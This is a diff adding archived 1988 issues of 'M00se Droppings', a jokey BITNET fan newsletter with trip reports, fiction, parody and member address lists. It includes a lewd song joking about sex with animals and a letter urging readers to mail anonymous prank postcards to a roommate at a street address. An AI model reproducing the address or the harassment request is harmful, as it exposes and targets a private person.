we'll try and reach a conclusion +before next friday. And until then, + + Bl00p and farewell, + + Pickle + + + --------------- + EVENTS AND NEWS + --------------- + +There is no news this week. + + + ------------------ + FICTION AND POETRY + ------------------ + +There is, however, a song, submitted by Sindex. Author unknown, he got +it at a con some time ago. + + + M00SE + + When I was a young man i used to like girls, + I fondled their curves and I patted their curls, + But me girlfriend ran off with a salesman named Bruce, + You'd never get treatment like that from a M00se! + + Chorus: + So it's M00se, M00se, I like a M00se, + I've never 'ad anything quite like a M00se, + I've 'ad many women, my life has been loose, + But I've never 'ad anything quite like a M00se! + + Now when I'm in need of a very good lay, + I go to me closet and gets me some hay, + I opens me window and spreads it around, + 'Cause M00se always comes when there's hay on the ground! + + Chorus + + Now I've made it with all kinds of beasties with hair, + I'd make it with snakes if their fangs were not there, + I've made it with walrus, two ducks and a goose, + But I've never 'ad anything quite like a M00se! + + Chorus + + Now gorillas are fine for a Saturday night, + And lions and tigers, they puts up a fight, + But it just ain't the same when you slams their caboose + As the feeling you gets when you 'umps with a M00se! + + Chorus + + (slowly) + Now that I'm old and advanced in me years, + I'll look back on me life, and I'll shed me no tears, + As I sit in me chair with me glass of Mateuse, + And play hide the salami with Molly the M00se! + + Chorus + + + + ---------------------- + MISCELLANEOUS NONSENSE + ---------------------- + +Apart from the above lewd song, there is no nonsense in this issue. Quite +agreed, quite agreed, too silly, too silly. + diff --git a/textfiles.com/magazines/M00SE/m00se03 b/textfiles.com/magazines/M00SE/m00se03 new file mode 100644 index 00000000..23b8b02b --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se03 @@ -0,0 +1,303 @@ + + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M O// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOO0 P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #3 | Disclaimer: The Editor will place almost anything | July 6, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ---------------------- + EDITORIALS AND LETTERS + ---------------------- + +Yet another editorial by Pickle. + + Well, fellow m00ses, it seems to have been decided. We are going +to use CSNEWS for banter and discussion, but M00se Droppings will be +distributed by m00ses, starting with me and branching out in a path that +Kamikaze is working on. He is arranging things (so I hear) so that nobody +will have to send more than 5-10 pieces of mail. + In the meantime, those of you who haven't subscribed to CSBB M00se +Discussion on CSNEWS do so! I sent the command a few days ago, if you forgot +it let me know and I'll tell you again. + Some of you may have noticed that this newsletter is late. As I +said, this is because GuS, my computer, is sick. Now that I'm back in a +VAX lab, I'm all set, except GuS is still sick. Hopefully it'll be all +better soon. + And now, since I haven't much to say, on with the newsletter. + + + --------------- + EVENTS AND NEWS + --------------- + + Wolverine and Kamikaze hosted a few other chapters in the world's +first Fourth of July Thr0ng-a-Thon. Here is their report. + +--------------------------------------------------------------------------- + + On July 1, Starfire, Hobgoblin, and Scamp arrived in the Philadelphia area +to meet with Wolverine and Kamikaze for the first-ever "Fourth of July +Thr0ng-A-Th0n". This is their story. + +Kamikaze> Friday....why does everything always happen on Friday? First, I + get to go to work from 8am til noon (meaning I have to get up at 6am), + then ride to my physical therapy (for my bum shoulder) (that's an 11 + mile ride), then get back home and *try* to get cleaned up before the + expected 4pm-5pm invasion. Well, I got showered, dressed, then + realized my shirt needed ironing *sigh*, then my mother tells me to + do some vacuuming, so I do that while the shirt cools, and just as I + put the vacuum away, I see a familiar car go driving right past my + house and on up the hill. So I rush to put my shirt on and stand at + the door, waiting to see how long it would take for them to realize + they missed something. Mere moments later, they arrived...I called + Wolvie, told him they were there (all right, so he had to beat it out + of me...I do like to be difficult with him sometimes ;-) + +Wolverine> After I got done work, my room-mate and I headed to Kamikaze's + house where I was raped by his dog (as usual). You have to under- + stand that Kami's dog loves sticking her nose into my private areas, + and while I love animals, I don't LOVE animals, if you get my + meaning. [don't you believe it...he really likes it, otherwise he + wouldn't keep coming back for more, right?....Kami] We then had + dinner curtesy of Kami's mom, and departed to see Roger Rabbit! A + magnificent movie! Some kids were throwing popcorn up in the air, + so I joined 'em. *devious grin* I got to rumage through Stacey's + purse until the movie started. She had some of the wierdest things + in there, including one VERY old jellybean. + +Kamikaze> Well, the movie was great, but *I* really enjoyed the first feature + that they showed prior to WFRR. Let's all reach deep down and give + from the heart to the Will Roger's Institute....sorry folks, I like + charity events and whatnot, but not when I've already been milked + $5.00 to see a movie...I want to see the movie, not a bunch of out-of- + work stars doing a charity bit.... + +Wolverine> We then headed back to my apartment, where we watched movies until + late in the night. Kamikaze and Scamp then left for his house, + where Scamp was going to be staying in a guest room. (Starfire and + Hobgbolin had to settle for my floor.) Those of us staying at my + apartment stayed up until 3 am or so. Oh, and the superintendant + came down and complained that Starfire was laughing too loudly. At + 3 a.m. I went to bed, leaving Star and Hob to stay up until 4 a.m. + talking. + +Kamikaze> Humph...and they complained about being tired....Scamp went right to + bed (and I assume right to sleep, I didn't look)...I got lucky enough + to be hit with insomnia that night, so I didn't bother to sleep at + all...and was actually more awake than anyone else the next day. + +Wolverine> Saturday morning we all woke up, watched "The Real Ghostbusters" on + TV and ate home-made eggrolls until it was time to depart to the + Philadelphia Zoo. I actually made money from the deal. (It was a + 3.50 entry charge, handed the cashier a 10, and got 11.50 back in + change 8*) Then i started howling at the wolves, who were already + howling. Wandered the Zoo for several hours, and then got lost + coming home thanks to some lousy detours. + +Kamikaze> Now wait a minute....we did not get lost, just took a brief, + unscheduled local tour. I knew where I was the whole time, as + evidence by the fact that we did not have to turn around at any time. + Anyway, the Zoo was more or less well enjoyed, most down time being + from tired and hot folks...the Large Cats house and white tiger + seemed to be one of the overall favorites, along with the primate + house. + +Wolverine> That night we played D&D, and I actually had a woman sleep in my + bed! At last! + +Kamikaze> Now before you all think he got lucky or that one of the girls was + blind drunk (just kidding Wolvie...put those claws away)...Hob was + one of the more exhausted members of the weekend, and we all told + to do herself a favor and stop falling asleep in the chair and go + crash in the bedroom, and Wolvie offered his bed to her. Sorry big + guy, but nice try anyway ;-) + +Wolverine> Okay! So her and I are only friends and I slept in the other room! + Details, Details! Anyway, we all crashed rather late that night, + and subsequently slept late Sunday morning. (Actually, Hob had + been up earlier than any of us.) We then sat around, watched + _The_Untouchables_, until it was time for The Gals From Up North + to depart. (And then my room-mate and I spent several days cleaning + up.) + +Kamikaze> Hey, don't look at me like that...I helped with some of the cleanup + to...but after all, I spent the whole weekend chauffering everyone + around, because there wasn't any comfortable way to fit the six of + us into Scamp's car...my mother was a bit worried when she found out + that over 175 miles got put on her car over the weekend, and we never + left town... + +Wolverine> So all in all, it was an enjoyable experience, and we are looking + forward to the next Thr0ng-A-Th0n, wherever and whenever it may be. + +Bl00p forever! + +Wolverine & Kamikaze + + + ------------------ + FICTION AND POETRY + ------------------ + + >>Fiction from Wolverine<< + + "I'm a M00se," he thought. "I know it...they don't. That's not the +problem. I like it that way. The problem is keeping them from knowing it." +He thought this while walking the wrong way down a busy sidewalk, constantly +jostling people due to the fact that he was going in the opposite direction +of everyone else. They were annoyed; he didn't mind. He liked it like that. +"Fucking plebs," he thought. "Get a life." + Pushing his cart through the Acme, he looked around at the people +surrounding him. "More plebs," he thought disgustedly as he tossed a package +of Devil Dogs into his cart. Walking down the next aisle, he grabbed a +jar of peanut butter and tossed it into the cart. The jar hit the package +of Devil Dogs and crushed it. "I gotta get away from these plebs," he +thought. They're makin' me sick. Look at 'em! Brainless cattle trodding +through the dulldrum of their common, everyday lives. Suckers." + Waiting in the check-out line, he saw a little kid in the next line +throwing a temper tantrum as his mother tried get hom out of a cart. Kicking +and screaming, he flailed out and knocked over a display of Tupperware as she +lifted him out of the cart. "That's it kid," he thought. "Fight 'em. It's +the only way." He was brought out of the reverie of his thoughts by the +teenage girl at his cash register. + "Hey mista'! Yer Devil Dawgs're crushed! Ya' want another box?" she +asked, cracking the huge wad of gum in her mouth. + "No," he replied. "I like it that way." + + Walking back to his apartment, he saw a car accident on 49th Avenue. +A car making a left turn from Sussex Avenue onto 49th slammed into a +'79 Caddy. A little guy in polyester suit got out of the Caddy and started +shouting at the guy who hit him. The other guy was a little guy in a +polyester suit too. "Both of them'll probably call 'Lawyers-R-Us tonight," +he thought. "What a joke." + Getting home, he dumped his Acme bag on the kitchen table and plopped +down in his easy chair. Grabbing the remote control, he started flipping +through TV channels until he came across The Oprah Winfrey Show. Orca's +special guest today was Morton Downey Jr. They were supposed to have +a slug-fest, with the winner getting the chance to punch Johnny Carson in +the face. "This oughta' be interesting," he thought. He had already placed +a fifty dollar bet on Morton earlier that day with his bookie. "Let's just +hope this one last longer than the Tyson-Spinx fiasco," he had told his +bookie. "I had to go to the john and wound up missing the entire fight." +After the opening credits rolled, Oprah stepped into the ring area that had +been specially set up for the event. In another minute, Morton stepped into +the ring, brandishing a 2-by-4 with a mouth painted on one end. He swung +it at Oprah`s head, but it bounced harmlessly off of Oprah's hair, which +had been styled earlier by Don King himself. "This should be really +interesting," he thought, reaching for the crushed box of Devil Dogs. + +co. Frank Orzechowicz June 30, 1988 + +(P.S. Blame it on last night's full moon.) + + + ---------------------- + MISCELLANEOUS NONSENSE + ---------------------- + +(Here is a shamelessly pirated Monty Python excerpt sent by Beez and altered + by your friendly editor.) + +Subject: Rocky vs. Rambo on Friday the 13th at Elm Street IV:This + time its personal + + + Good evening. Here is the news for m00ses. No m00ses were involved + in an accident on the M1 today when a lorry carrying high octane + fuel was in collision with a bollard...that is a bollard and not a + m00se. A spokesman for m00ses said he was glad that no m00ses + were involved. The Minister of Technology today met the three + Russian leaders to discuss a $4 million airliner deal. None of + them went in the woods or practiced passive resistance against + hunters with large guns by staring at them with big, soulful eyes. + And now for part three of `A tale of Two Cities', adapted for m00ses + by Joey Boy. + + + +=============================================================================== + +And last but not least, an update on the list of m00ses on Bitnet. Please +inform me if anything is incorrect! + + +Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac + +Boston University chapter CLXLAUC @ BUACCA Rorshach + +Cornell chapter CBRY @ CORNELLA Ladykate + +Lansing, NY chapter B45J @ CRNLVAX5 Half-Elf + +Connecticut State U thr0ng CEBELENS_CHR @ CTSTATEU The Red Mage + CLAFFEY_JOR @ CTSTATEU Indiana Joe + WITHALL @ CTSTATEU Hobgoblin + +Hartford thr0ng DICKSON @ HARTFORD Pickle/MOON ROACH! + SZIMMERM @ HARTFORD Greymalkin + +Haverford thr0ng K_KRAVITZ @ HVRFORD Q. + S_BLINN @ HVRFORD Sean Blinn + +Loyola thr0ng STASA @ LOYVAX Phoenix + PAMELA @ LOYVAX Mommydammit + SETH @ LOYVAX Seth + +Maine thr0ng BURNS @ MAINE Sabre + IO80222 @ MAINE RainMaker + RFK350B @ MAINE Guardian Angel + +Michigan Tech chapter WJB @ MTUS5 Sindex + +Penn State chapter WCF @ PSUECL Bill Fenner + +Stony Brook thr0ng CHOBBIE @ SBCCVM Admiral Lord Nelson + RRKHAN @ SBCCVM Romel + WALL @ SBCCVM Wall + +Sweden chapter ICE @ SEQZ51 Ice + +Siberacuse thr0ng EBLIVING @ SUNRISE Eric Livingstone (sp?) + JBANKERT @ SUNRISE CHAOS Engineer + RABEELER @ SUNRISE Beez + RETANTS @ SUNRISE Scamp + LIBLJR @ SUVM Niniane + +Towson State U. chapter S76NING @ TOWSONVX Paul + +Trinity thr0ng FANTASYG @ TRINCC Trinity Fantasy Guild + OPER3 @ TRINCC Razz + +Governor's School chapter GSRHAMBY @ UTKVX3 Cocker + +Villanova thr0ng 188622462 @ VUVAXCOM Kamikaze + 193588131 @ VUVAXCOM Wolverine + +Wesleyan thr0ng JBLUESTEIN @ WESLEYAN WabeWalker + JVINCENT @ WESLEYAN Lord Rassilon + RSIMON @ WESLEYAN Roanic + +Washington State U. thr0ng 24945863 @ WSUVM1 Bard + 23480853 @ WSUVM1 Ishtar + +Xavier chapter BRUGGMNJ @ XAVIER John + + diff --git a/textfiles.com/magazines/M00SE/m00se04 b/textfiles.com/magazines/M00SE/m00se04 new file mode 100644 index 00000000..c7179341 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se04 @@ -0,0 +1,249 @@ + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M O// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOO0 P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #4 | Disclaimer: The Editor will place almost anything | July 14, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ---------------------- + EDITORIALS AND LETTERS + ---------------------- + + There are no real editorials this week. All I have to say is that +Kamikaze has nearly completed the forwarding map for the new distribution +method. Hopefully the map itself will be included in issue #5, and we can +start using it as of issue #6. + Oh, yes, many of you still have questions about subscribing to the +CSNEWS m00se discussion. Issue the following command to CSNEWS@MAINE with +an interactive message: + + CSBB SUBSCRIBE M00SE + + You will then receive lots of help files that will explain how to +post messages to the list. We can thank Sindex for sending me the command +after I accidentally deleted it. + + --------------- + EVENTS AND NEWS + --------------- + + There was a thr0ng-a-thon in Baltimore this past weekend, which +I attended (hence the lateness of this issue!) My report will be included +in issue #5. + + ------------------ + FICTION AND POETRY + ------------------ + + No original stuff this week. You may be thinking, "What a dull +issue!" But wait.....there is lots of: + + ---------------------- + MISCELLANEOUS NONSENSE + ---------------------- + + Lots of nonsense this week. This is from Wolverine: + +The following article was taken from the pages of "National Lampoon's +Yellow Journal" section and is fiction, not fact. + +============================================================================== + + Millions Cheer As Cher Keels Over Dead + -------- ----- -- ---- ----- ---- ---- + + The nations of the world are a little closer this month, thanks in part +to the recent death of seventy-four-year-old health-club spokesunit and +Oscar winner Cher, who suddenly degraded into her component elements during +the filming of a new spa commercial. + In celebration of the blessed event, the Palestinians and Israelis have +agreed to peace talks, Iran and Iraq have called a cease-fire, and the +Nicaraguan contras have surrenedered their weapons. Pope John Paul II has +called a special Mass in Rome, calling the death "proof positive of a God +who cars and takes and active part in imporoving the lives of men." + The cause of death has not been determined. The actress/singer/monlith +was last seen entering a hot steam bath. Details are sketchy, although +bystanders report hearing screams of "Gatemaster, give me another year," +followed by a soft gurgling sound. No remains were found other than a +small piece of tinfoil the deceased often wore as an evening gown. + +============================================================================== + + In a seemingly ordinary letter, to add Damsel to the M00se Illuminati, +Lord Rassilon wrote: + +> Amelia Goldberg (AGOLDBERG) aka: Damsel +> also wishes to M00se. + + You will notice that Lord Rassilon used 'm00se' as a verb. I hereby +propose that we use 'm00se' as a verb whenever it seems appropriate, but +certainly not to the nauseating extent that those little blue creatures +used 'smurf' as a verb. + --Pickle. + + +=============================================================================== + + Last but not least, Beez sent us this song: + +> Here is a song which is one of my favorites but I don't know who +>did it. If you do include it make a note that if anyone has a clue who did +>it, send a message to me. Also, if anyone wants a copy I will bring my tape +>to Camp Relay II: The search for M00se. Thanx. + +The Mail order ad song + +Fell asleep last night with the TV on, +Oh, what a dream I had. +Drempt I went and answered every single one of those +Late Night Mail order ads. +And four to 6 weeks later, +Much to my surprise, +The mailman came to my front door, +And I couldn't beleive my eyes + +When he brought the +Vegematic, and the pocket-fisherman too. +The illuminated illustrated history of life, +Boxcar Willie with a ginsu knife. +A bamboo steamer and a smokeless ashtray,too. +And a tyed-dyed souviner shirt +From six flags over Burbank. + +Well the doorbell rang all morning, +And all through the afternoon. +I shook with fright as it rang all night +Under the light of the Mastercard moon. +There was parcel post in the pantry, +UPS in the hall, +COD's to the ceiling, +And I just couldn't pay for it all. + +When he brought the +Egg Scrambler, with a seal-a-meal carrying case. +A set of presidential commemorative plates, +So I can eat my eggs off the president's face. +A minute mender and a garden weasel too, +And an Autographed photgraph of Rin-Tin-Tin +At six flags over burbank + +Well I realized I was dreaming, +So I gave a rowdy cheer. +But when I awoke, it was no joke, +Cause all that Shit was here! +So if you fall asleep with the tv on, +Let me tell you what to do. +Rip the telephone out of the wall, +Unless you want it to happen to you. + +Cause you'll get the +Vegematic, and the pocketfisherman,too. +Illuminated Illustrated history of life, +Boxcar Willie with a Ginsu knife +A bamboo steamer and a needle that will knit or Croqhet, +And A tyed-dyed souviner shirt +From six flags over burbank. + +============================================================================= + +And, of course, another update on the General M00se list. We have somewhere +around eight new chapters, pushing our total BITNET thr0ng to over fifty +chapters, bl00p to you all and welcome! I apologize that you didn't get +personal mail from me, but it's been a very busy week... + +Once again, look this list over and let me know if anything looks wrong. +If you told me once and I still didn't correct it, bear with me. I don't +always think straight. + + +Alaska thr0ng JSJPC1 @ ALASKA Jonathan + JSMDG @ ALASKA Martin + +Bryn Mawr chapter M_PETTIT @ BRYNMAWR Midland Maniac + +Boston University chapter CLXLAUC @ BUACCA Rorshach + +Cornell chapter CBRY @ CORNELLA Ladykate + +Lansing, NY chapter B45J @ CRNLVAX5 Half-Elf + +Connecticut State U thr0ng CEBELENS_CHR @ CTSTATEU The Red Mage + CLAFFEY_JOR @ CTSTATEU Indiana Joe + PHINNEY_AVK @ CTSTATEU Phredde + WITHALL @ CTSTATEU Hobgoblin + +Hartford thr0ng DICKSON @ HARTFORD Pickle/MOON ROACH! + SZIMMERM @ HARTFORD Greymalkin + +Haverford thr0ng K_KRAVITZ @ HVRFORD Q. + S_BLINN @ HVRFORD Sean Blinn + +Loyola thr0ng MARY_B @ LOYVAX Mary Beth + PAMELA @ LOYVAX Mommydammit + SETH @ LOYVAX Seth + STASA @ LOYVAX Phoenix + +Maine thr0ng BURNS @ MAINE Sabre + IO80034 @ MAINE The Dragon + IO80222 @ MAINE RainMaker + RFK350B @ MAINE Guardian Angel + +Michigan Tech chapter WJB @ MTUS5 Sindex + +North Dakota State U. chapter UD140680 @ NDSUVM1 Nathan Irwin + +Penn State chapter WCF @ PSUECL Bill Fenner + +Stony Brook thr0ng CHOBBIE @ SBCCVM Admiral Lord Nelson + RRKHAN @ SBCCVM Romel + WALL @ SBCCVM Wall + +Sweden chapter ICE @ SEQZ51 Ice + +Saunacuse thr0ng EBLIVING @ SUNRISE Eric Livingstone (sp?) + JBANKERT @ SUNRISE CHAOS Engineer + RABEELER @ SUNRISE Beez + RETANTS @ SUNRISE Scamp + LIBLJR @ SUVM Niniane + +Towson State U. chapter S76NING @ TOWSONVX Paul + +Trinity thr0ng FANTASYG @ TRINCC Trinity Fantasy Guild + OPER3 @ TRINCC Razz + +U of New Hampshire chapter J_BUTMAN @ UNHH Oliver + +Governor's School chapter GSRHAMBY @ UTKVX3 Cocker + +Villanova thr0ng 054649739 @ VUVAXCOM Satoru Ushiyama + 188622462 @ VUVAXCOM Kamikaze + 193588131 @ VUVAXCOM Wolverine + 580074787 @ VUVAXCOM Colin O'Connell + +Wesleyan thr0ng AGOLDBERG @ WESLEYAN Damsel + JBLUESTEIN @ WESLEYAN WabeWalker + JVINCENT @ WESLEYAN Lord Rassilon + RSIMON @ WESLEYAN Roanic + +Washington State U. thr0ng 24945863 @ WSUVM1 Bard + 23480853 @ WSUVM1 Ishtar + +Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!! + diff --git a/textfiles.com/magazines/M00SE/m00se05 b/textfiles.com/magazines/M00SE/m00se05 new file mode 100644 index 00000000..9e9547f2 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se05 @@ -0,0 +1,346 @@ + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M O// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOO0 P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #5 | Disclaimer: The Editor will place almost anything | July 22, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ----------------------------------------------------------------------------- + ************************** EDITORIALS AND LETTERS *************************** + ----------------------------------------------------------------------------- + + Hi all! Here is Issue #5. You'll notice that it is being sent on a +Friday, as the first couple issues were. With any luck, I'll be able to +send them every Friday. + Thanks to the efforts of Kamikaze, we are now using the New Improved +Distribution Method. It should be nice and easy to use, but if there are +any problems let us know ASAP! We don't want to lose anybody. + And now, on with the issue..... + + + NOT GETTING ENOUGH MAIL? + ======================== + + This is a plea to all m00ses on behalf of myself and two fellow +m00ses (Nathan Irwin and Dragon) to subscribe to sf_story csnotice, +the same way you subscribed to m00se csnotice. Please, the +offer is free, the m00ses needy, and all you have to do is +call now...offer not available on all computer systems. + Sabre + + + NOT GETTING *ANY* MAIL? + ======================= + + As a postscript to my last letter, here are a few other csnotices I +feel m00ses will like.... + m00se--already told you about that one. + sf_story--see last letter. + st_story--A startrek story I'm writing. Not very m00selike, +but bl00p it all, I'm going to toot my own horn! + Jqp_story--A story fellow m00se Rainmaker is writing. + startrek--for all you trek-types, this one's all about anything and +everything having to do with trek. + sex--a fun csnotice if ever I've read one. + latenite--Late Night with David Lettermen. Need I say more? I +for one think we should make Dave a m00se anyway, you know? + humor--self-explainatory + + + + And others...god there are others. So, get off your m00sing +A**es and subscribe. That command sequence again.... +tell (or whatever) csnews@maine csbb subscribe csnotice + + In a future letter, I'll tell you how to request back volumes. +Ok? OK! + + + + Sabre + + + FOR THOSE WHO REMEMBER SATURDAY MORNINGS... + =========================================== + +M00SE. + +a verb. + +sounds like the subject of a schoolhouse rock to me... + + + heheh + + mommydammit + + +------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************* +------------------------------------------------------------------------------- + + INTERESTED IN OTHER PEOPLE'S VACATIONS? + ======================================= + +On July 8th, 1988, the Pickle chapter of the M00se Illuminati packed up and +headed for Baltimore, MD for a thr0ng-a-thon and concert. This is his story. + + +JULY 8, 1988 (Approximately 3:30 P.M.): Car packed. Food and tapes on + passenger seat. Full tank (30-35 gallons) of premium gasoline. Mad River + Explorer on roof racks. An estimated 4700 lbs. of car, driver, supplies, and + canoe hit the road. Itinerary: bank, Triple-A, Highway 84w. + +(App. 4:00 P.M.): Bank accounts now empty. $105 in pocket. On way to AAA, + 1-liter bottle of Coca-Cola Classic assaults car and driver. Theory: + poltergeist in bottle. Go to AAA, get card. Coke is corrosive; as it would + not do to leave it on the car, head for nearest car wash. + +(App. 4:30 P.M.): While entering gas station to pay for car wash, realize that + there is Mad River Explorer on roof racks. Curse, head for nearest non- + automatic car wash in South Windsor. + +(App. 5:30 P.M.): Car Washed, Dairy Queen cherry Misty Freeze in stomach, on + 84w. Just before passing Farmington exit, realize that there are no clothes + suitable for concert in duffel bag. Snarl a lot, take Farmington exit home. + +(App. 6:00 P.M.): Finally hit road with pants, shirt, mismatched but dark + socks, shoes, borrowed tie. Determined to call Stasa at approximately 10:00 + P.M. to tell her I'll be 2 hours late. + +(App. 11:00 P.M.): Realizing have forgotten to call Stasa. About to seek + phone when sign leaps out of bushes and states "Baltimore 58 miles." Realize + in amazement that the trip is two hours shorter than expected. + +(12:02 P.M.): Arrive at Stasa's home and habitation, 2 minutes late. Present + flowers and Asti and apologize. Ponder the realization that the Supertanker + quaffed down at least two quarts of oil on the trip. + + +(The time periods between events will now increase.) + + +(Saturday, July 9, 1988): Wake up. Accompany Stasa to pool. Meet her fellow + lifeguards. Add weight to theory that one of the requirements of being a + lifeguard is a stunning appearance in bathing suit. Avoid looking too + stunned, read book. Several hours later, impressive electrical storm puts on + spectacular audiovisual display. Back to Stasa's house, change, meet Q. and + friend with fast car, head out to meet Grup thr0ng. See _Who_Framed_Roger_ + Rabbit_. Meet straggling Grup chapters, head for dinner. In attendance: + Stasa, Q., Q.'s friend (Steve?), Sybil, Fast Eddie, Markus, Mommy Dammit, Mary + Beth, Paul?, Mike, Damion (sp?), Damion's support group, myself. In no + particular order. Sorry if I missed someone. Fries, beverages, joke, + homeward. Mary Beth actually was ill and missed dinner, but at least we + got to see her. Home, sleep. + +(Sunday, July 10, 1988): Pool again, many of those listed above in attendance + for pool party. Stasa proves that she is paid too little. Many scorched + m00ses. Sunglasses wars. Home and sleep. + +(Monday, July 11, 1988): Wake up, discover everybody was right and shoulders + were, in fact, burned. Take painful shower. Outdoor temp once again 100+. + Stasa leads the way to the Gunpowder river. Very pretty, much cooler, and + infested with some kind of biting fly. Back home, collect Mary Beth, go to + Harbor Place, or Inner Harbor, or whatever its real name is. Comic shop fails + me second time in a row, does not have a single thing I'm looking for. + (Doesn't carry Warlock 5?! "Not much call for it 'round here", they say.) + Buy delicious fudge. Take Mary Beth home, go back to Stasa's, sleep. + +(Tuesday, July 12, 1988): Observe spectacular storm at 2:00 am. Go with + Stasa to Loyola, receive as gift from Mike an account of my own. Back + to Stasa's for a while, then back to Loyola, get wiped out by Mike in + Conquest. Back to Stasa's again, leave with Mr. Appel to concert. German + and Austrian dancing and music. Inside for the concert. Piano concerto, + intermission, Ninth Symphony. First movement lacking, but second incredible. + Third and fourth very good. Howard Johnson's for dinner and snack. + Discovery: HoJo's is not a rathole everywhere. This one is more like + Denny's. Back once more, and sleep. + +(Wednesday, July 13, 1988): Awake, farewell to all. Drive to Harbor Place, + shop and eat a little more. Hit the road home. + + +NOTE: New Jersey bashing ahead. + + + All was going well when a sign announced "This way to 95 north/NJ Turnpike". + Figuring, since I was already on it, that there was construction ahead + on the turnpike, I took the exit. And ended up on Route 1 North, with + a traffic light every half mile or so, for an hour. In heavy traffic. + Can't use air conditioner in stop-and-go. Suddenly realize what those + sneaky bastards had done! (Later confirmed by parents, this detour has + been there for years.) On either side of the road are thriving roadside + businesses, all of which would probably go out of business if people could + take 95 around them! If thoughts could drop bombs, New Jersey would be + a smoking wasteland right now, rather than just a wasteland. As if that + weren't enough, they charge $3 to leave NJ via the big suspension bridge. + I forget what it's called. They don't charge you to enter NJ! + + Rest of trip without incident. Oh, except for one item of note... on + the NY-CT line is Danbury, CT. In it is the Danbury Federal Correctional + Institution. On the way past it going into CT is a sign: + + FEDERAL CORRECTIONAL INSTITUTION + + DO NOT PICK UP HITCHHIKERS + + This sign does not exist on the other side of the road, as you travel + toward NY. Does this mean it's been stolen by a convict/hitchhiker, or + that CT doesn't care if escapees head for NY? + + Well, that's my report. Not the best piece of writing I've done, but + hey! It's the summer! + + Pickle. + + + +------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ****************************** +------------------------------------------------------------------------------- + + Once again, there is no fiction and poetry this week. Send me some and +I'll publish it. Please. + +------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE **************************** +------------------------------------------------------------------------------- + + SOMETHING FIENDISHLY M00SY TO DO... + =================================== + + Ahoy there! How's life going? What, you have a lot of time on your hands? +Well here's something that will both occupy your time and make the world a +stranger place to live in... + You see, I have this roommate who badly needs to have something odd happen +to him, only he doesn't know it. And what better place to go to get something +odd done than here? So what I'm asking is that, if you've got the mind, +sit down and write a postcard. Don't put your name on it, don't put a return +address, and for god's sake *SEND NO CASH*. Leave the message part blank, +put something weird in it (and I know you can...), or maybe some argument +for/against the existance of something, or a math puzzle or just random +words, it doesn't really matter...so long as he's baffled, bewildered, and +bemused...(no threats would be best, I'm not out to give him sleepless +nights...) + And, if you really care, let me know and I'll give you the bleedin' fifty +cents or so it costs. And if you know somebody in a remote area who might +want to drop this fellow a line (really, he's a big cheese weenie), that +would be great (I'm trying for the largest geographical spread here). + So anyway if you're still with me, here's the address: + + Eduardo Looney (no, not his name but it's pretty close) + 3465 Edinburgh #7 + Riverside, CA 92507 + +by the way I'm sending this both to the literary underground and weird-l. +Sorry if you're seeing it twice. And if you think it's a gross waste +of net resources to do this, well I'm sending this on a weekend, see? And +if you think it's the greatest idea since...well I'm sure you can think +of something, the tell a friend! or a fiend! + +Thank you for your consideration... + + Kevin "you're not getting my last name" Lund + + +------------------------------------------------------------------------------- 